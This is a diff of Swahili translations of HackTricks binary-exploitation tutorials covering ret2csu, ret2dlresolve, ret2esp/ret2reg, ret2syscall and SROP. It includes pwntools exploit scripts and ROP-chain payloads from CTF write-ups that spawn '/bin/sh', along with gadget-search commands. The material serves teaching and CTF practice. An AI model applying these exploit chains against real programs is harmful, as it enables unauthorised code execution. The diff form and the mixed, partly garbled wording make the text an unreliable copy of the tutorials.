Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani kwa ajili ya kusimamia jinsi vipande tofauti vya programu vinavyowasiliana. Miongoni mwa kazi hizi kuna baadhi ya vito vilivyofichwa ambavyo vinaweza kutenda kama gadgets zetu zinazokosekana, hasa moja inayoitwa `__libc_csu_init`.
 | 
			
		||||
Wakati programu inatumia maktaba fulani (kama libc), ina baadhi ya kazi zilizojengwa ndani kwa ajili ya kusimamia jinsi vipande tofauti vya programu vinavyowasiliana. Kati ya kazi hizi kuna vito vya siri ambavyo vinaweza kutenda kama gadgets zetu zinazokosekana, hasa moja inayoitwa `__libc_csu_init`.
 | 
			
		||||
 | 
			
		||||
### Gadgets za Uchawi katika \_\_libc_csu_init
 | 
			
		||||
 | 
			
		||||
@ -24,18 +24,18 @@ pop r14;
 | 
			
		||||
pop r15;
 | 
			
		||||
ret;
 | 
			
		||||
```
 | 
			
		||||
Kifaa hiki kinatupa uwezo wa kudhibiti hizi register kwa kupiga thamani kutoka kwenye stack ndani yao.
 | 
			
		||||
Hii gadget inatuwezesha kudhibiti hizi register kwa kupop values kutoka kwenye stack kuingia ndani yao.
 | 
			
		||||
 | 
			
		||||
2. Mfululizo wa pili unatumia thamani tulizoweka kufanya mambo kadhaa:
 | 
			
		||||
- **Hamisha thamani maalum kwenye register nyingine**, ukizifanya ziwe tayari kwa matumizi yetu kama vigezo katika kazi.
 | 
			
		||||
- **Fanya wito kwa eneo** lililopangwa kwa kuongeza thamani katika r15 na rbx, kisha kuzaa rbx kwa 8.
 | 
			
		||||
2. Mfululizo wa pili unatumia values tulizoweka kufanya mambo kadhaa:
 | 
			
		||||
- **Hamisha values maalum kwenye register nyingine**, na kuziandaa kwa ajili yetu kuzitumia kama parameters katika functions.
 | 
			
		||||
- **Fanya wito kwa eneo** lililopangwa kwa kujumlisha values katika r15 na rbx, kisha kuzidisha rbx kwa 8.
 | 
			
		||||
```armasm
 | 
			
		||||
mov rdx, r15;
 | 
			
		||||
mov rsi, r14;
 | 
			
		||||
mov edi, r13d;
 | 
			
		||||
call qword [r12 + rbx*8];
 | 
			
		||||
```
 | 
			
		||||
3. Labda hujui anwani yoyote ya kuandika hapo na unahitaji **maagizo ya `ret`**. Kumbuka kwamba gadget ya pili pia itamalizika kwa **`ret`**, lakini utahitaji kukutana na **masharti** fulani ili kufikia hiyo:
 | 
			
		||||
3. Labda hujui anwani yoyote ya kuandika hapo na unahitaji **amri ya `ret`**. Kumbuka kwamba gadget ya pili pia itamalizika kwa **`ret`**, lakini utahitaji kutimiza baadhi ya **masharti** ili kufikia hiyo:
 | 
			
		||||
```armasm
 | 
			
		||||
mov rdx, r15;
 | 
			
		||||
mov rsi, r14;
 | 
			
		||||
@ -47,9 +47,9 @@ jnz <func>
 | 
			
		||||
...
 | 
			
		||||
ret
 | 
			
		||||
```
 | 
			
		||||
Masharti yatakuwa:
 | 
			
		||||
Hali zitakuwa:
 | 
			
		||||
 | 
			
		||||
- `[r12 + rbx*8]` lazima iwe inaelekeza kwenye anwani inayohifadhi kazi inayoweza kuitwa (ikiwa huna wazo na hakuna pie, unaweza tu kutumia kazi ya `_init`):
 | 
			
		||||
- `[r12 + rbx*8]` lazima iwe inaelekeza kwenye anwani inayoifadhi kazi inayoweza kuitwa (ikiwa huna wazo na hakuna pie, unaweza tu kutumia kazi ya `_init`):
 | 
			
		||||
- Ikiwa \_init iko kwenye `0x400560`, tumia GEF kutafuta kiashiria katika kumbukumbu kwake na ufanye `[r12 + rbx*8]` kuwa anwani yenye kiashiria cha \_init:
 | 
			
		||||
```bash
 | 
			
		||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 | 
			
		||||
@ -65,7 +65,7 @@ gef➤  search-pattern 0x400560
 | 
			
		||||
 | 
			
		||||
## RDI na RSI
 | 
			
		||||
 | 
			
		||||
Njia nyingine ya kudhibiti **`rdi`** na **`rsi`** kutoka kwa gadget ya ret2csu ni kwa kufikia ofseti zake maalum:
 | 
			
		||||
Njia nyingine ya kudhibiti **`rdi`** na **`rsi`** kutoka kwa ret2csu gadget ni kwa kufikia offsets maalum:
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
@ -83,7 +83,7 @@ Fikiria unataka kufanya syscall au kuita kazi kama `write()` lakini unahitaji th
 | 
			
		||||
 | 
			
		||||
Hapa ndipo **ret2csu** inapoingia:
 | 
			
		||||
 | 
			
		||||
1. **Weka Register**: Tumia gadget ya kwanza ya kichawi kupop values kutoka kwenye stack na kuingia rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.
 | 
			
		||||
1. **Weka Register**: Tumia gadget ya kwanza ya kichawi kutoa thamani kutoka kwenye stack na kuingia rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.
 | 
			
		||||
2. **Tumia Gadget ya Pili**: Ukiwa na register hizo zimewekwa, unatumia gadget ya pili. Hii inakuwezesha kuhamasisha thamani zako ulizochagua katika `rdx` na `rsi` (kutoka r14 na r13, mtawalia), ukitayarisha vigezo kwa wito wa kazi. Zaidi ya hayo, kwa kudhibiti `r15` na `rbx`, unaweza kufanya programu iite kazi iliyoko kwenye anwani unayoihesabu na kuweka katika `[r15 + rbx*8]`.
 | 
			
		||||
 | 
			
		||||
Una [**mfano wa kutumia mbinu hii na kuielezea hapa**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), na hii ndiyo exploit ya mwisho iliyotumika:
 | 
			
		||||
@ -167,6 +167,6 @@ target.interactive()
 | 
			
		||||
```
 | 
			
		||||
### Kwa Nini Usitumie libc Moja kwa Moja?
 | 
			
		||||
 | 
			
		||||
Kawaida kesi hizi pia zina udhaifu wa [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), lakini wakati mwingine unahitaji kudhibiti vigezo zaidi kuliko vile ambavyo vinaweza kudhibitiwa kwa urahisi na gadgets unazozipata moja kwa moja katika libc. Kwa mfano, kazi ya `write()` inahitaji vigezo vitatu, na **kupata gadgets za kuweka yote haya moja kwa moja huenda isiwezekane**.
 | 
			
		||||
Kawaida kesi hizi pia zina udhaifu wa [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), lakini wakati mwingine unahitaji kudhibiti vigezo zaidi kuliko vile vinavyoweza kudhibitiwa kwa urahisi na gadgets unazozipata moja kwa moja katika libc. Kwa mfano, kazi ya `write()` inahitaji vigezo vitatu, na **kupata gadgets za kuweka yote haya moja kwa moja huenda isiwezekane**.
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,16 +4,16 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
Kama ilivyoelezwa katika ukurasa kuhusu [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) na [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries bila Full Relro zitatatua alama (kama anwani za maktaba za nje) mara ya kwanza zinapotumika. Hii kutatua inafanyika kwa kuita kazi **`_dl_runtime_resolve`**.
 | 
			
		||||
Kama ilivyoelezwa katika ukurasa kuhusu [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) na [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries bila Full Relro zitatatua alama (kama anwani za maktaba za nje) mara ya kwanza zinapotumika. Hii kutatua inatokea kwa kuita kazi **`_dl_runtime_resolve`**.
 | 
			
		||||
 | 
			
		||||
Kazi ya **`_dl_runtime_resolve`** inachukua kutoka kwenye stack marejeleo ya baadhi ya muundo inahitaji ili **kutatua** alama iliyotajwa.
 | 
			
		||||
Kazi ya **`_dl_runtime_resolve`** inachukua kutoka kwenye stack viungo vya baadhi ya muundo inavyohitaji ili **kutatua** alama iliyotajwa.
 | 
			
		||||
 | 
			
		||||
Kwa hivyo, inawezekana **kujifanya muundo huu wote** ili kufanya uhusiano wa kipekee kutatua alama iliyotolewa (kama kazi ya **`system`**) na kuitwa na parameter iliyowekwa (mfano **`system('/bin/sh')`**).
 | 
			
		||||
 | 
			
		||||
Kawaida, muundo huu wote unajifanywa kwa kufanya **mnyororo wa awali wa ROP unaoitwa `read`** juu ya kumbukumbu inayoweza kuandikwa, kisha **muundo** na mfuatano **`'/bin/sh'`** vinapitishwa ili kuhifadhiwa na kusoma katika eneo lililojulikana, na kisha mnyororo wa ROP unaendelea kwa kuita **`_dl_runtime_resolve`**, ukiwa na **kutatua anwani ya `system`** katika muundo wa uongo na **kuita anwani hii** na anwani ya `$'/bin/sh'`.
 | 
			
		||||
Kawaida, muundo huu wote unajifanywa kwa kufanya **mnyororo wa awali wa ROP unaoitwa `read`** juu ya kumbukumbu inayoweza kuandikwa, kisha **muundo** na mfuatano **`'/bin/sh'`** vinapitishwa ili kuhifadhiwa kwa kusoma katika eneo lililojulikana, na kisha mnyororo wa ROP unaendelea kwa kuita **`_dl_runtime_resolve`**, ukiwa na **kutatua anwani ya `system`** katika muundo wa uongo na **kuita anwani hii** na anwani ya `$'/bin/sh'`.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Mbinu hii ni muhimu hasa ikiwa hakuna syscall gadgets (kutumia mbinu kama [**ret2syscall**](rop-syscall-execv/) au [SROP](srop-sigreturn-oriented-programming/)) na hakuna njia za kuvuja anwani za libc.
 | 
			
		||||
> Mbinu hii ni muhimu hasa ikiwa hakuna syscall gadgets (kutumia mbinu kama [**ret2syscall**](rop-syscall-execv/index.html) au [SROP](srop-sigreturn-oriented-programming/index.html)) na hakuna njia za kuvuja anwani za libc.
 | 
			
		||||
 | 
			
		||||
Cheki video hii kwa maelezo mazuri kuhusu mbinu hii katika nusu ya pili ya video:
 | 
			
		||||
 | 
			
		||||
@ -58,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
 | 
			
		||||
 | 
			
		||||
### Pure Pwntools
 | 
			
		||||
 | 
			
		||||
Unaweza kupata [**mfano wa mbinu hii hapa**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **ukijumuisha maelezo mazuri sana ya mnyororo wa mwisho wa ROP**, lakini hapa kuna exploit ya mwisho iliyotumika:
 | 
			
		||||
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -80,7 +80,7 @@ p.sendline(dlresolve.payload)    # now the read is called and we pass all the re
 | 
			
		||||
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
### Mbichi
 | 
			
		||||
### Mbinu za Msingi
 | 
			
		||||
```python
 | 
			
		||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
 | 
			
		||||
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
 | 
			
		||||
@ -188,6 +188,6 @@ target.interactive()
 | 
			
		||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
 | 
			
		||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
 | 
			
		||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
 | 
			
		||||
- 32bit, hakuna relro, hakuna canary, nx, hakuna pie, overflow ndogo wa buffer wa msingi na kurudi. Ili ku exploit, bof inatumika kuita `read` tena na sehemu ya `.bss` na ukubwa mkubwa, kuhifadhi katika hapo meza za bandia za `dlresolve` ili kupakia `system`, kurudi kwenye main na kuendelea kutumia bof ya awali kuita dlresolve na kisha `system('/bin/sh')`.
 | 
			
		||||
- 32bit, hakuna relro, hakuna canary, nx, hakuna pie, msingi wa overflow ya buffer ndogo na kurudi. Ili ku exploit, bof inatumika kuita `read` tena na sehemu ya `.bss` na ukubwa mkubwa, kuhifadhi katika hapo meza za uwongo za `dlresolve` ili kupakia `system`, kurudi kwenye main na kuendelea kutumia bof ya awali kuita dlresolve na kisha `system('/bin/sh')`.
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,11 +4,11 @@
 | 
			
		||||
 | 
			
		||||
## **Ret2esp**
 | 
			
		||||
 | 
			
		||||
**Kwa sababu ESP (Stack Pointer) kila wakati inaelekeza juu ya stack**, mbinu hii inahusisha kubadilisha EIP (Instruction Pointer) na anwani ya **`jmp esp`** au **`call esp`** amri. Kwa kufanya hivyo, shellcode inawekwa moja kwa moja baada ya EIP iliyobadilishwa. Wakati amri ya `ret` inatekelezwa, ESP inaelekeza kwenye anwani inayofuata, hasa mahali ambapo shellcode imehifadhiwa.
 | 
			
		||||
**Kwa sababu ESP (Stack Pointer) kila wakati inaelekeza juu ya stack**, mbinu hii inahusisha kubadilisha EIP (Instruction Pointer) na anwani ya **`jmp esp`** au **`call esp`** maagizo. Kwa kufanya hivyo, shellcode inawekwa moja kwa moja baada ya EIP iliyobadilishwa. Wakati maagizo ya `ret` yanatekelezwa, ESP inaelekeza kwenye anwani inayofuata, hasa mahali ambapo shellcode imehifadhiwa.
 | 
			
		||||
 | 
			
		||||
Ikiwa **Address Space Layout Randomization (ASLR)** haijawashwa katika Windows au Linux, inawezekana kutumia amri za `jmp esp` au `call esp` zinazopatikana katika maktaba za pamoja. Hata hivyo, ikiwa [**ASLR**](../common-binary-protections-and-bypasses/aslr/) inafanya kazi, mtu anaweza kuhitaji kutafuta ndani ya programu iliyo hatarini kwa ajili ya amri hizi (na unaweza kuhitaji kushinda [**PIE**](../common-binary-protections-and-bypasses/pie/)).
 | 
			
		||||
Ikiwa **Address Space Layout Randomization (ASLR)** haijawashwa katika Windows au Linux, inawezekana kutumia maagizo ya `jmp esp` au `call esp` yanayopatikana katika maktaba za pamoja. Hata hivyo, ikiwa [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) inafanya kazi, mtu anaweza kuhitaji kutafuta ndani ya programu iliyo hatarini kwa maagizo haya (na unaweza kuhitaji kushinda [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, kuwa na uwezo wa kuweka shellcode **baada ya uharibifu wa EIP**, badala ya katikati ya stack, inahakikisha kwamba amri zozote za `push` au `pop` zinazotekelezwa wakati wa operesheni ya kazi hazingilii shellcode. Kuingilia huku kunaweza kutokea ikiwa shellcode ingewekwa katikati ya stack ya kazi.
 | 
			
		||||
Zaidi ya hayo, kuwa na uwezo wa kuweka shellcode **baada ya uharibifu wa EIP**, badala ya katikati ya stack, inahakikisha kwamba maagizo yoyote ya `push` au `pop` yanayotekelezwa wakati wa operesheni ya kazi hayatatiza shellcode. Uingiliaji huu unaweza kutokea ikiwa shellcode ingewekwa katikati ya stack ya kazi.
 | 
			
		||||
 | 
			
		||||
### Kukosa nafasi
 | 
			
		||||
 | 
			
		||||
@ -41,7 +41,7 @@ pause()
 | 
			
		||||
p.sendlineafter('RSP!\n', payload)
 | 
			
		||||
p.interactive()
 | 
			
		||||
```
 | 
			
		||||
Unaweza kuona mfano mwingine wa mbinu hii katika [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Kuna overflow ya buffer bila NX iliyoanzishwa, inatumika gadget ili **kupunguza anwani ya `$esp`** na kisha `jmp esp;` kuruka kwenye shellcode:
 | 
			
		||||
Unaweza kuona mfano mwingine wa mbinu hii katika [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Kuna overflow ya buffer bila NX iliyoanzishwa, inatumika gadget ili r**educe the address of `$esp`** na kisha `jmp esp;` kuruka kwenye shellcode:
 | 
			
		||||
```python
 | 
			
		||||
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
 | 
			
		||||
from pwn import *
 | 
			
		||||
@ -78,7 +78,7 @@ target.interactive()
 | 
			
		||||
```
 | 
			
		||||
## Ret2reg
 | 
			
		||||
 | 
			
		||||
Vivyo hivyo, ikiwa tunajua kazi inarudisha anwani ambapo shellcode imehifadhiwa, tunaweza kutumia maagizo ya **`call eax`** au **`jmp eax`** (yanayojulikana kama mbinu ya **ret2eax**), ikitoa njia nyingine ya kutekeleza shellcode yetu. Kama vile eax, **usajili mwingine wowote** unaoshikilia anwani ya kuvutia unaweza kutumika (**ret2reg**).
 | 
			
		||||
Vivyo hivyo, ikiwa tunajua kazi inarudisha anwani ambapo shellcode imehifadhiwa, tunaweza kutumia maagizo ya **`call eax`** au **`jmp eax`** (yanayojulikana kama mbinu ya **ret2eax**), kutoa njia nyingine ya kutekeleza shellcode yetu. Kama vile eax, **usajili mwingine wowote** unaoshikilia anwani ya kuvutia unaweza kutumika (**ret2reg**).
 | 
			
		||||
 | 
			
		||||
### Mfano
 | 
			
		||||
 | 
			
		||||
@ -108,7 +108,7 @@ Ikiwa rejista ina anwani ya kuvutia inawezekana kuruka kwake kwa kutafuta tu maa
 | 
			
		||||
```bash
 | 
			
		||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
 | 
			
		||||
```
 | 
			
		||||
Katika ARM64, ni **`x0`** anayehifadhi thamani ya kurudi ya kazi, hivyo inaweza kuwa kwamba x0 inahifadhi anwani ya buffer inayodhibitiwa na mtumiaji yenye shellcode ya kutekeleza.
 | 
			
		||||
Katika ARM64, ni **`x0`** ambaye huhifadhi thamani ya kurudi ya kazi, hivyo inaweza kuwa kwamba x0 huhifadhi anwani ya buffer inayodhibitiwa na mtumiaji yenye shellcode ya kutekeleza.
 | 
			
		||||
 | 
			
		||||
Mfano wa msimbo:
 | 
			
		||||
```c
 | 
			
		||||
@ -135,7 +135,7 @@ do_stuff(2)
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Kuangalia disassembly ya kazi inawezekana kuona kwamba **anwani ya buffer** (iliyohatarishwa na bof na **inayodhibitiwa na mtumiaji**) **imehifadhiwa katika `x0`** kabla ya kurudi kutoka kwa buffer overflow:
 | 
			
		||||
Kuangalia disassembly ya kazi inawezekana kuona kwamba **anwani ya buffer** (iliyokuwa na udhaifu wa bof na **inayodhibitiwa na mtumiaji**) **imehifadhiwa katika `x0`** kabla ya kurudi kutoka kwa buffer overflow:
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
@ -143,7 +143,7 @@ Pia inawezekana kupata gadget **`br x0`** katika kazi ya **`do_stuff`**:
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
Tutatumia gadget hiyo kuruka kwake kwa sababu binary imeandikwa **BILA PIE.** Kwa kutumia muundo inawezekana kuona kwamba **offset ya buffer overflow ni 80**, hivyo exploit itakuwa:
 | 
			
		||||
Tutatumia gadget hiyo kuruka kwake kwa sababu binary imeandikwa **BILA PIE.** Kwa kutumia pattern inawezekana kuona kwamba **offset ya buffer overflow ni 80**, hivyo exploit itakuwa:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -165,7 +165,7 @@ p.interactive()
 | 
			
		||||
## Ulinzi
 | 
			
		||||
 | 
			
		||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Ikiwa stack haiwezi kutekelezwa hii haitasaidia kwani tunahitaji kuweka shellcode kwenye stack na kuruka ili kuitekeleza.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Hizi zinaweza kufanya iwe vigumu kupata amri ya kuruka kwa esp au register nyingine yoyote.
 | 
			
		||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Hizi zinaweza kufanya iwe vigumu kupata amri ya kuruka kwa esp au register nyingine yoyote.
 | 
			
		||||
 | 
			
		||||
## Marejeleo
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
Hii ni sawa na Ret2lib, hata hivyo, katika kesi hii hatutakuwa tukitafuta kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa kimeandaliwa kuitisha syscall `sys_execve` na baadhi ya hoja ili kutekeleza `/bin/sh`. Mbinu hii kawaida hufanywa kwenye binaries ambazo zimeandikwa kwa njia ya static, hivyo kunaweza kuwa na vifaa vingi na maagizo ya syscall.
 | 
			
		||||
Hii ni sawa na Ret2lib, hata hivyo, katika kesi hii hatutakuwa tukitumia kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa kimeandaliwa kuitisha syscall `sys_execve` na baadhi ya hoja ili kutekeleza `/bin/sh`. Mbinu hii kawaida hufanywa kwenye binaries ambazo zimeandikwa kwa njia ya static, hivyo kunaweza kuwa na gadgets nyingi na maagizo ya syscall.
 | 
			
		||||
 | 
			
		||||
Ili kuandaa wito wa **syscall** inahitajika usanidi ufuatao:
 | 
			
		||||
 | 
			
		||||
@ -13,14 +13,14 @@ Ili kuandaa wito wa **syscall** inahitajika usanidi ufuatao:
 | 
			
		||||
- `rsi: 0 specify no arguments passed`
 | 
			
		||||
- `rdx: 0 specify no environment variables passed`
 | 
			
		||||
 | 
			
		||||
Hivyo, kimsingi inahitajika kuandika mfuatano wa herufi `/bin/sh` mahali fulani na kisha kutekeleza `syscall` (ukijua kuhusu padding inayohitajika kudhibiti stack). Kwa hili, tunahitaji gadget ya kuandika `/bin/sh` katika eneo lililojulikana.
 | 
			
		||||
Hivyo, kimsingi inahitajika kuandika mfuatano wa `/bin/sh` mahali fulani na kisha kutekeleza `syscall` (ukijua kuhusu padding inayohitajika kudhibiti stack). Kwa hili, tunahitaji gadget ya kuandika `/bin/sh` katika eneo lililojulikana.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Syscall nyingine ya kuvutia kuitisha ni **`mprotect`** ambayo ingemruhusu mshambuliaji **kubadilisha ruhusa za ukurasa katika kumbukumbu**. Hii inaweza kuunganishwa na [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
 | 
			
		||||
> Syscall nyingine ya kuvutia kuitisha ni **`mprotect`** ambayo ingemruhusu mshambuliaji **kubadilisha ruhusa za ukurasa katika kumbukumbu**. Hii inaweza kuunganishwa na [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
 | 
			
		||||
 | 
			
		||||
## Register gadgets
 | 
			
		||||
 | 
			
		||||
Hebu tuanze kwa kutafuta **jinsi ya kudhibiti zile register**:
 | 
			
		||||
Hebu tuanze kwa kutafuta **jinsi ya kudhibiti hizo register**:
 | 
			
		||||
```bash
 | 
			
		||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
 | 
			
		||||
0x0000000000415664 : pop rax ; ret
 | 
			
		||||
@ -28,7 +28,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
 | 
			
		||||
0x00000000004101f3 : pop rsi ; ret
 | 
			
		||||
0x00000000004498b5 : pop rdx ; ret
 | 
			
		||||
```
 | 
			
		||||
Kwa hizi anwani inawezekana **kuandika maudhui kwenye stack na kuyapakia kwenye register**.
 | 
			
		||||
Na hizi anwani inawezekana **kuandika maudhui kwenye stack na kuyapakia kwenye register**.
 | 
			
		||||
 | 
			
		||||
## Andika mfuatano
 | 
			
		||||
 | 
			
		||||
@ -43,16 +43,16 @@ Start              End                Offset             Perm Path
 | 
			
		||||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
 | 
			
		||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
 | 
			
		||||
```
 | 
			
		||||
### Andika Mstari katika kumbukumbu
 | 
			
		||||
### Andika Mstari katika Kumbukumbu
 | 
			
		||||
 | 
			
		||||
Kisha unahitaji kutafuta njia ya kuandika maudhui yoyote katika anwani hii.
 | 
			
		||||
```python
 | 
			
		||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
 | 
			
		||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
 | 
			
		||||
```
 | 
			
		||||
### Automashe ROP mnyororo
 | 
			
		||||
### Automate ROP chain
 | 
			
		||||
 | 
			
		||||
Amri ifuatayo inaunda mnyororo kamili wa `sys_execve` ROP ikitolewa na binary ya kudumu wakati kuna vifaa vya kuandika-nini-wapi na maagizo ya syscall:
 | 
			
		||||
Amri ifuatayo inaunda mnyororo kamili wa `sys_execve` ROP ikitolewa kutoka kwa binary ya kudumu wakati kuna vifaa vya kuandika-nini-wapi na maagizo ya syscall:
 | 
			
		||||
```bash
 | 
			
		||||
ROPgadget --binary vuln --ropchain
 | 
			
		||||
```
 | 
			
		||||
@ -169,13 +169,13 @@ target.sendline(payload)
 | 
			
		||||
 | 
			
		||||
target.interactive()
 | 
			
		||||
```
 | 
			
		||||
## Mifano Mingine na Marejeo
 | 
			
		||||
## Mifano Mingine & Marejeo
 | 
			
		||||
 | 
			
		||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
 | 
			
		||||
- 64 bits, hakuna PIE, nx, andika katika kumbukumbu fulani ROP ya kuita `execve` na kuruka huko.
 | 
			
		||||
- 64 bits, hakuna PIE, nx, andika katika kumbukumbu fulani ROP ili kuita `execve` na kuruka huko.
 | 
			
		||||
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
 | 
			
		||||
- 64 bits, nx, hakuna PIE, andika katika kumbukumbu fulani ROP ya kuita `execve` na kuruka huko. Ili kuandika kwenye stack, kazi inayofanya operesheni za kihesabu inakandamizwa.
 | 
			
		||||
- 64 bits, nx, hakuna PIE, andika katika kumbukumbu fulani ROP ili kuita `execve` na kuruka huko. Ili kuandika kwenye stack, kazi inayofanya operesheni za kihesabu inatumika vibaya.
 | 
			
		||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
 | 
			
		||||
- 64 bits, hakuna PIE, nx, BF canary, andika katika kumbukumbu fulani ROP ya kuita `execve` na kuruka huko.
 | 
			
		||||
- 64 bits, hakuna PIE, nx, BF canary, andika katika kumbukumbu fulani ROP ili kuita `execve` na kuruka huko.
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,22 +4,22 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
**`Sigreturn`** ni **syscall** maalum ambayo inatumika hasa kusafisha baada ya mhandisi wa ishara kukamilisha utekelezaji wake. Ishara ni usumbufu unaotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kuashiria kwamba hali fulani ya kipekee imetokea. Wakati programu inapokea ishara, inasimamisha kazi yake ya sasa kwa muda ili kushughulikia ishara hiyo kwa **mhandisi wa ishara**, kazi maalum iliyoundwa kushughulikia ishara.
 | 
			
		||||
**`Sigreturn`** ni **syscall** maalum ambayo inatumika hasa kusafisha baada ya mhandisi wa ishara kukamilisha utekelezaji wake. Ishara ni usumbufu unaotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kuashiria kwamba hali fulani ya kipekee imetokea. Wakati programu inapokea ishara, inasimamisha kazi yake ya sasa kwa muda ili kushughulikia ishara hiyo kwa **signal handler**, kazi maalum iliyoundwa kushughulikia ishara.
 | 
			
		||||
 | 
			
		||||
Baada ya mhandisi wa ishara kumaliza, programu inahitaji **kurudi katika hali yake ya awali** kana kwamba hakuna kilichotokea. Hapa ndipo **`sigreturn`** inapoingia. Inasaidia programu **kurudi kutoka kwa mhandisi wa ishara** na kurejesha hali ya programu kwa kusafisha fremu ya stack (sehemu ya kumbukumbu inayohifadhi wito wa kazi na mabadiliko ya ndani) ambayo ilitumika na mhandisi wa ishara.
 | 
			
		||||
Baada ya mhandisi wa ishara kumaliza, programu inahitaji **kurudi katika hali yake ya awali** kana kwamba hakuna kilichotokea. Hapa ndipo **`sigreturn`** inapoingia. Inasaidia programu **kurudi kutoka kwa mhandisi wa ishara** na kurejesha hali ya programu kwa kusafisha fremu ya stack (sehemu ya kumbukumbu inayohifadhi wito wa kazi na vigezo vya ndani) ambayo ilitumika na mhandisi wa ishara.
 | 
			
		||||
 | 
			
		||||
